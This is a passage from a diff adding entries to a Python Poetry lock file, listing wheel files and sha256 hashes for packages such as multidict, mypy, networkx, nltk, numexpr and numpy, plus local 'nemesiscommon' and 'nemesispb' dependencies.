"multidict-6.0.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ff959bee35038c4624250473988b24f846cbeb2c6639de3602c073f10410ceba"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:01a3a55bd90018c9c080fbb0b9f4891db37d148a0a18722b42f94694f8b6d4c9"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c5cb09abb18c1ea940fb99360ea0396f34d46566f157122c92dfa069d3e0e982"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:666daae833559deb2d609afa4490b85830ab0dfca811a98b70a205621a6109fe"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:11bdf3f5e1518b24530b8241529d2050014c884cf18b6fc69c0c2b30ca248710"}, + {file = "multidict-6.0.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d18748f2d30f94f498e852c67d61261c643b349b9d2a581131725595c45ec6c"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:458f37be2d9e4c95e2d8866a851663cbc76e865b78395090786f6cd9b3bbf4f4"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:b1a2eeedcead3a41694130495593a559a668f382eee0727352b9a41e1c45759a"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7d6ae9d593ef8641544d6263c7fa6408cc90370c8cb2bbb65f8d43e5b0351d9c"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:5979b5632c3e3534e42ca6ff856bb24b2e3071b37861c2c727ce220d80eee9ed"}, + {file = "multidict-6.0.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dcfe792765fab89c365123c81046ad4103fcabbc4f56d1c1997e6715e8015461"}, + {file = "multidict-6.0.4-cp311-cp311-win32.whl", hash = "sha256:3601a3cece3819534b11d4efc1eb76047488fddd0c85a3948099d5da4d504636"}, + {file = "multidict-6.0.4-cp311-cp311-win_amd64.whl", hash = "sha256:81a4f0b34bd92df3da93315c6a59034df95866014ac08535fc819f043bfd51f0"}, + {file = "multidict-6.0.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:67040058f37a2a51ed8ea8f6b0e6ee5bd78ca67f169ce6122f3e2ec80dfe9b78"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:853888594621e6604c978ce2a0444a1e6e70c8d253ab65ba11657659dcc9100f"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:39ff62e7d0f26c248b15e364517a72932a611a9b75f35b45be078d81bdb86603"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:af048912e045a2dc732847d33821a9d84ba553f5c5f028adbd364dd4765092ac"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e8b901e607795ec06c9e42530788c45ac21ef3aaa11dbd0c69de543bfb79a9"}, + {file = "multidict-6.0.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62501642008a8b9871ddfccbf83e4222cf8ac0d5aeedf73da36153ef2ec222d2"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:99b76c052e9f1bc0721f7541e5e8c05db3941eb9ebe7b8553c625ef88d6eefde"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:509eac6cf09c794aa27bcacfd4d62c885cce62bef7b2c3e8b2e49d365b5003fe"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:21a12c4eb6ddc9952c415f24eef97e3e55ba3af61f67c7bc388dcdec1404a067"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:5cad9430ab3e2e4fa4a2ef4450f548768400a2ac635841bc2a56a2052cdbeb87"}, + {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab55edc2e84460694295f401215f4a58597f8f7c9466faec545093045476327d"}, + {file = "multidict-6.0.4-cp37-cp37m-win32.whl", hash = "sha256:5a4dcf02b908c3b8b17a45fb0f15b695bf117a67b76b7ad18b73cf8e92608775"}, + {file = "multidict-6.0.4-cp37-cp37m-win_amd64.whl", hash = "sha256:6ed5f161328b7df384d71b07317f4d8656434e34591f20552c7bcef27b0ab88e"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5fc1b16f586f049820c5c5b17bb4ee7583092fa0d1c4e28b5239181ff9532e0c"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1502e24330eb681bdaa3eb70d6358e818e8e8f908a22a1851dfd4e15bc2f8161"}, + {file = "multidict-6.0.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b692f419760c0e65d060959df05f2a531945af31fda0c8a3b3195d4efd06de11"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45e1ecb0379bfaab5eef059f50115b54571acfbe422a14f668fc8c27ba410e7e"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ddd3915998d93fbcd2566ddf9cf62cdb35c9e093075f862935573d265cf8f65d"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:59d43b61c59d82f2effb39a93c48b845efe23a3852d201ed2d24ba830d0b4cf2"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc8e1d0c705233c5dd0c5e6460fbad7827d5d36f310a0fadfd45cc3029762258"}, + {file = "multidict-6.0.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6aa0418fcc838522256761b3415822626f866758ee0bc6632c9486b179d0b52"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6748717bb10339c4760c1e63da040f5f29f5ed6e59d76daee30305894069a660"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4d1a3d7ef5e96b1c9e92f973e43aa5e5b96c659c9bc3124acbbd81b0b9c8a951"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4372381634485bec7e46718edc71528024fcdc6f835baefe517b34a33c731d60"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:fc35cb4676846ef752816d5be2193a1e8367b4c1397b74a565a9d0389c433a1d"}, + {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:4b9d9e4e2b37daddb5c23ea33a3417901fa7c7b3dee2d855f63ee67a0b21e5b1"}, + {file = "multidict-6.0.4-cp38-cp38-win32.whl", hash = "sha256:e41b7e2b59679edfa309e8db64fdf22399eec4b0b24694e1b2104fb789207779"}, + {file = "multidict-6.0.4-cp38-cp38-win_amd64.whl", hash = "sha256:d6c254ba6e45d8e72739281ebc46ea5eb5f101234f3ce171f0e9f5cc86991480"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:16ab77bbeb596e14212e7bab8429f24c1579234a3a462105cda4a66904998664"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bc779e9e6f7fda81b3f9aa58e3a6091d49ad528b11ed19f6621408806204ad35"}, + {file = "multidict-6.0.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4ceef517eca3e03c1cceb22030a3e39cb399ac86bff4e426d4fc6ae49052cc60"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:281af09f488903fde97923c7744bb001a9b23b039a909460d0f14edc7bf59706"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:52f2dffc8acaba9a2f27174c41c9e57f60b907bb9f096b36b1a1f3be71c6284d"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b41156839806aecb3641f3208c0dafd3ac7775b9c4c422d82ee2a45c34ba81ca"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5e3fc56f88cc98ef8139255cf8cd63eb2c586531e43310ff859d6bb3a6b51f1"}, + {file = "multidict-6.0.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8316a77808c501004802f9beebde51c9f857054a0c871bd6da8280e718444449"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f70b98cd94886b49d91170ef23ec5c0e8ebb6f242d734ed7ed677b24d50c82cf"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bf6774e60d67a9efe02b3616fee22441d86fab4c6d335f9d2051d19d90a40063"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e69924bfcdda39b722ef4d9aa762b2dd38e4632b3641b1d9a57ca9cd18f2f83a"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:6b181d8c23da913d4ff585afd1155a0e1194c0b50c54fcfe286f70cdaf2b7176"}, + {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:52509b5be062d9eafc8170e53026fbc54cf3b32759a23d07fd935fb04fc22d95"}, + {file = "multidict-6.0.4-cp39-cp39-win32.whl", hash = "sha256:27c523fbfbdfd19c6867af7346332b62b586eed663887392cff78d614f9ec313"}, + {file = "multidict-6.0.4-cp39-cp39-win_amd64.whl", hash = "sha256:33029f5734336aa0d4c0384525da0387ef89148dc7191aae00ca5fb23d7aafc2"}, + {file = "multidict-6.0.4.tar.gz", hash = "sha256:3666906492efb76453c0e7b97f2cf459b0682e7402c0489a95484965dbc1da49"}, +] + +[[package]] +name = "mypy" +version = "0.971" +description = "Optional static typing for Python" +optional = false +python-versions = ">=3.6" +files = [ + {file = "mypy-0.971-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"}, + {file = "mypy-0.971-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5"}, + {file = "mypy-0.971-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3"}, + {file = "mypy-0.971-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655"}, + {file = "mypy-0.971-cp310-cp310-win_amd64.whl", hash = "sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103"}, + {file = "mypy-0.971-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca"}, + {file = "mypy-0.971-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417"}, + {file = "mypy-0.971-cp36-cp36m-win_amd64.whl", hash = "sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09"}, + {file = "mypy-0.971-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8"}, + {file = "mypy-0.971-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0"}, + {file = "mypy-0.971-cp37-cp37m-win_amd64.whl", hash = "sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2"}, + {file = "mypy-0.971-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27"}, + {file = "mypy-0.971-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856"}, + {file = "mypy-0.971-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71"}, + {file = "mypy-0.971-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27"}, + {file = "mypy-0.971-cp38-cp38-win_amd64.whl", hash = "sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58"}, + {file = "mypy-0.971-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6"}, + {file = "mypy-0.971-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe"}, + {file = "mypy-0.971-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9"}, + {file = "mypy-0.971-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf"}, + {file = "mypy-0.971-cp39-cp39-win_amd64.whl", hash = "sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0"}, + {file = "mypy-0.971-py3-none-any.whl", hash = "sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9"}, + {file = "mypy-0.971.tar.gz", hash = "sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56"}, +] + +[package.dependencies] +mypy-extensions = ">=0.4.3" +typing-extensions = ">=3.10" + +[package.extras] +dmypy = ["psutil (>=4.0)"] +python2 = ["typed-ast (>=1.4.0,<2)"] +reports = ["lxml"] + +[[package]] +name = "mypy-extensions" +version = "1.0.0" +description = "Type system extensions for programs checked with the mypy type checker." +optional = false +python-versions = ">=3.5" +files = [ + {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"}, + {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"}, +] + +[[package]] +name = "mypy-protobuf" +version = "3.4.0" +description = "Generate mypy stub files from protobuf specs" +optional = false +python-versions = ">=3.7" +files = [ + {file = "mypy-protobuf-3.4.0.tar.gz", hash = "sha256:7d75a079651b105076776a35a5405e3fa773b8a167118f1b712e443e9a6c18a2"}, + {file = "mypy_protobuf-3.4.0-py3-none-any.whl", hash = "sha256:da33dfde7547ff57e5ba5564126cbfa114f14413b2fa50759b1fa5de1e4ab511"}, +] + +[package.dependencies] +protobuf = ">=4.21.8" +types-protobuf = ">=3.20.4" + +[[package]] +name = "nemesiscommon" +version = "0.2.2" +description = "Common nemesis helper functions" +optional = false +python-versions = "^3.9" +files = [] +develop = true + +[package.dependencies] +aio-pika = "^8.3.0" +aioboto3 = "^10.4.0" +boto3 = "^1.24.59" +miniopy-async = "^1.15" +nemesispb = {path = "../nemesispb", develop = true} +prometheus-async = {version = "^22.2.0", extras = ["aiohttp"]} +pycryptodomex = "^3.15.0" +pydantic = "^1.10.4" +pyyaml = "^6.0" +requests = "^2.28.1" +rich = "^13.3.3" +structlog = "^23.1.0" +tenacity = "^8.0.1" +typing-extensions = "^4.4.0" +winacl = "^0.1.7" +yara-python = "^4.3.0" + +[package.source] +type = "directory" +url = "../../packages/python/nemesiscommon" + +[[package]] +name = "nemesispb" +version = "0.1.0" +description = "Nemesis python protobuf" +optional = false +python-versions = "^3.9" +files = [] +develop = true + +[package.dependencies] +mypy-protobuf = "^3.4.0" +protobuf = "^4.21.5" + +[package.source] +type = "directory" +url = "../../packages/python/nemesispb" + +[[package]] +name = "networkx" +version = "3.1" +description = "Python package for creating and manipulating graphs and networks" +optional = false +python-versions = ">=3.8" +files = [ + {file = "networkx-3.1-py3-none-any.whl", hash = "sha256:4f33f68cb2afcf86f28a45f43efc27a9386b535d567d2127f8f61d51dec58d36"}, + {file = "networkx-3.1.tar.gz", hash = "sha256:de346335408f84de0eada6ff9fafafff9bcda11f0a0dfaa931133debb146ab61"}, +] + +[package.extras] +default = ["matplotlib (>=3.4)", "numpy (>=1.20)", "pandas (>=1.3)", "scipy (>=1.8)"] +developer = ["mypy (>=1.1)", "pre-commit (>=3.2)"] +doc = ["nb2plots (>=0.6)", "numpydoc (>=1.5)", "pillow (>=9.4)", "pydata-sphinx-theme (>=0.13)", "sphinx (>=6.1)", "sphinx-gallery (>=0.12)", "texext (>=0.6.7)"] +extra = ["lxml (>=4.6)", "pydot (>=1.4.2)", "pygraphviz (>=1.10)", "sympy (>=1.10)"] +test = ["codecov (>=2.1)", "pytest (>=7.2)", "pytest-cov (>=4.0)"] + +[[package]] +name = "nltk" +version = "3.8.1" +description = "Natural Language Toolkit" +optional = false +python-versions = ">=3.7" +files = [ + {file = "nltk-3.8.1-py3-none-any.whl", hash = "sha256:fd5c9109f976fa86bcadba8f91e47f5e9293bd034474752e92a520f81c93dda5"}, + {file = "nltk-3.8.1.zip", hash = "sha256:1834da3d0682cba4f2cede2f9aad6b0fafb6461ba451db0efb6f9c39798d64d3"}, +] + +[package.dependencies] +click = "*" +joblib = "*" +regex = ">=2021.8.3" +tqdm = "*" + +[package.extras] +all = ["matplotlib", "numpy", "pyparsing", "python-crfsuite", "requests", "scikit-learn", "scipy", "twython"] +corenlp = ["requests"] +machine-learning = ["numpy", "python-crfsuite", "scikit-learn", "scipy"] +plot = ["matplotlib"] +tgrep = ["pyparsing"] +twitter = ["twython"] + +[[package]] +name = "numexpr" +version = "2.8.4" +description = "Fast numerical expression evaluator for NumPy" +optional = false +python-versions = ">=3.7" +files = [ + {file = "numexpr-2.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a75967d46b6bd56455dd32da6285e5ffabe155d0ee61eef685bbfb8dafb2e484"}, + {file = "numexpr-2.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:db93cf1842f068247de631bfc8af20118bf1f9447cd929b531595a5e0efc9346"}, + {file = "numexpr-2.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bca95f4473b444428061d4cda8e59ac564dc7dc6a1dea3015af9805c6bc2946"}, + {file = "numexpr-2.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e34931089a6bafc77aaae21f37ad6594b98aa1085bb8b45d5b3cd038c3c17d9"}, + {file = "numexpr-2.8.4-cp310-cp310-win32.whl", hash = "sha256:f3a920bfac2645017110b87ddbe364c9c7a742870a4d2f6120b8786c25dc6db3"}, + {file = "numexpr-2.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:6931b1e9d4f629f43c14b21d44f3f77997298bea43790cfcdb4dd98804f90783"}, + {file = "numexpr-2.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9400781553541f414f82eac056f2b4c965373650df9694286b9bd7e8d413f8d8"}, + {file = "numexpr-2.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6ee9db7598dd4001138b482342b96d78110dd77cefc051ec75af3295604dde6a"}, + {file = "numexpr-2.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ff5835e8af9a212e8480003d731aad1727aaea909926fd009e8ae6a1cba7f141"}, + {file = "numexpr-2.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:655d84eb09adfee3c09ecf4a89a512225da153fdb7de13c447404b7d0523a9a7"}, + {file = "numexpr-2.8.4-cp311-cp311-win32.whl", hash = "sha256:5538b30199bfc68886d2be18fcef3abd11d9271767a7a69ff3688defe782800a"}, + {file = "numexpr-2.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:3f039321d1c17962c33079987b675fb251b273dbec0f51aac0934e932446ccc3"}, + {file = "numexpr-2.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c867cc36cf815a3ec9122029874e00d8fbcef65035c4a5901e9b120dd5d626a2"}, + {file = "numexpr-2.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:059546e8f6283ccdb47c683101a890844f667fa6d56258d48ae2ecf1b3875957"}, + {file = "numexpr-2.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:845a6aa0ed3e2a53239b89c1ebfa8cf052d3cc6e053c72805e8153300078c0b1"}, + {file = "numexpr-2.8.4-cp37-cp37m-win32.whl", hash = "sha256:a38664e699526cb1687aefd9069e2b5b9387da7feac4545de446141f1ef86f46"}, + {file = "numexpr-2.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:eaec59e9bf70ff05615c34a8b8d6c7bd042bd9f55465d7b495ea5436f45319d0"}, + {file = "numexpr-2.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b318541bf3d8326682ebada087ba0050549a16d8b3fa260dd2585d73a83d20a7"}, + {file = "numexpr-2.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b076db98ca65eeaf9bd224576e3ac84c05e451c0bd85b13664b7e5f7b62e2c70"}, + {file = "numexpr-2.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90f12cc851240f7911a47c91aaf223dba753e98e46dff3017282e633602e76a7"}, + {file = "numexpr-2.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c368aa35ae9b18840e78b05f929d3a7b3abccdba9630a878c7db74ca2368339"}, + {file = "numexpr-2.8.4-cp38-cp38-win32.whl", hash = "sha256:b96334fc1748e9ec4f93d5fadb1044089d73fb08208fdb8382ed77c893f0be01"}, + {file = "numexpr-2.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:a6d2d7740ae83ba5f3531e83afc4b626daa71df1ef903970947903345c37bd03"}, + {file = "numexpr-2.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:77898fdf3da6bb96aa8a4759a8231d763a75d848b2f2e5c5279dad0b243c8dfe"}, + {file = "numexpr-2.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:df35324666b693f13a016bc7957de7cc4d8801b746b81060b671bf78a52b9037"}, + {file = "numexpr-2.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:17ac9cfe6d0078c5fc06ba1c1bbd20b8783f28c6f475bbabd3cad53683075cab"}, + {file = "numexpr-2.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:df3a1f6b24214a1ab826e9c1c99edf1686c8e307547a9aef33910d586f626d01"}, + {file = "numexpr-2.8.4-cp39-cp39-win32.whl", hash = "sha256:7d71add384adc9119568d7e9ffa8a35b195decae81e0abf54a2b7779852f0637"}, + {file = "numexpr-2.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:9f096d707290a6a00b6ffdaf581ee37331109fb7b6c8744e9ded7c779a48e517"}, + {file = "numexpr-2.8.4.tar.gz", hash = "sha256:d5432537418d18691b9115d615d6daa17ee8275baef3edf1afbbf8bc69806147"}, +] + +[package.dependencies] +numpy = ">=1.13.3" + +[[package]] +name = "numpy" +version = "1.25.1" +description = "Fundamental package for array computing in Python" +optional = false +python-versions = ">=3.9" +files = [ + {file = "numpy-1.25.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:77d339465dff3eb33c701430bcb9c325b60354698340229e1dff97745e6b3efa"}, + {file = "numpy-1.25.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d736b75c3f2cb96843a5c7f8d8ccc414768d34b0a75f466c05f3a739b406f10b"}, + {file = "numpy-1.25.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a90725800caeaa160732d6b31f3f843ebd45d6b5f3eec9e8cc287e30f2805bf"}, + {file = "numpy-1.25.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c6c9261d21e617c6dc5eacba35cb68ec36bb72adcff0dee63f8fbc899362588"}, + {file = "numpy-1.25.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:0def91f8af6ec4bb94c370e38c575855bf1d0be8a8fbfba42ef9c073faf2cf19"}, + {file = "numpy-1.25.1-cp310-cp310-win32.whl", hash = "sha256:fd67b306320dcadea700a8f79b9e671e607f8696e98ec255915c0c6d6b818503"}, + {file = "numpy-1.25.1-cp310-cp310-win_amd64.whl", hash = "sha256:c1516db588987450b85595586605742879e50dcce923e8973f79529651545b57"}, + {file = "numpy-1.25.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6b82655dd8efeea69dbf85d00fca40013d7f503212bc5259056244961268b66e"}, + {file = "numpy-1.25.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e8f6049c4878cb16960fbbfb22105e49d13d752d4d8371b55110941fb3b17800"}, + {file = "numpy-1.25.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41a56b70e8139884eccb2f733c2f7378af06c82304959e174f8e7370af112e09"}, + {file = "numpy-1.25.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5154b1a25ec796b1aee12ac1b22f414f94752c5f94832f14d8d6c9ac40bcca6"}, + {file = "numpy-1.25.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:38eb6548bb91c421261b4805dc44def9ca1a6eef6444ce35ad1669c0f1a3fc5d"}, + {file = "numpy-1.25.1-cp311-cp311-win32.whl", hash = "sha256:791f409064d0a69dd20579345d852c59822c6aa087f23b07b1b4e28ff5880fcb"}, + {file = "numpy-1.25.1-cp311-cp311-win_amd64.whl", hash = "sha256:c40571fe966393b212689aa17e32ed905924120737194b5d5c1b20b9ed0fb171"}, + {file = "numpy-1.25.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3d7abcdd85aea3e6cdddb59af2350c7ab1ed764397f8eec97a038ad244d2d105"}, + {file = "numpy-1.25.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a180429394f81c7933634ae49b37b472d343cccb5bb0c4a575ac8bbc433722f"}, + {file = "numpy-1.25.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d412c1697c3853c6fc3cb9751b4915859c7afe6a277c2bf00acf287d56c4e625"}, + {file = "numpy-1.25.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20e1266411120a4f16fad8efa8e0454d21d00b8c7cee5b5ccad7565d95eb42dd"}, + {file = "numpy-1.25.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:f76aebc3358ade9eacf9bc2bb8ae589863a4f911611694103af05346637df1b7"}, + {file = "numpy-1.25.1-cp39-cp39-win32.whl", hash = "sha256:247d3ffdd7775bdf191f848be8d49100495114c82c2bd134e8d5d075fb386a1c"}, + {file = "numpy-1.25.1-cp39-cp39-win_amd64.whl", hash = "sha256:1d5d3c68e443c90b38fdf8ef40e60e2538a27548b39b12b73132456847f4b631"}, + {file = "numpy-1.25.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:35a9527c977b924042170a0887de727cd84ff179e478481404c5dc66b4170009"}, + {file = "numpy-1.25.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0d3fe3dd0506a28493d82dc3cf254be8cd0d26f4008a417385cbf1ae95b54004"}, + {file = "numpy-1.25.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:012097b5b0d00a11070e8f2e261128c44157a8689f7dedcf35576e525893f4fe"}, + {file = "numpy-1.25.1.tar.gz", 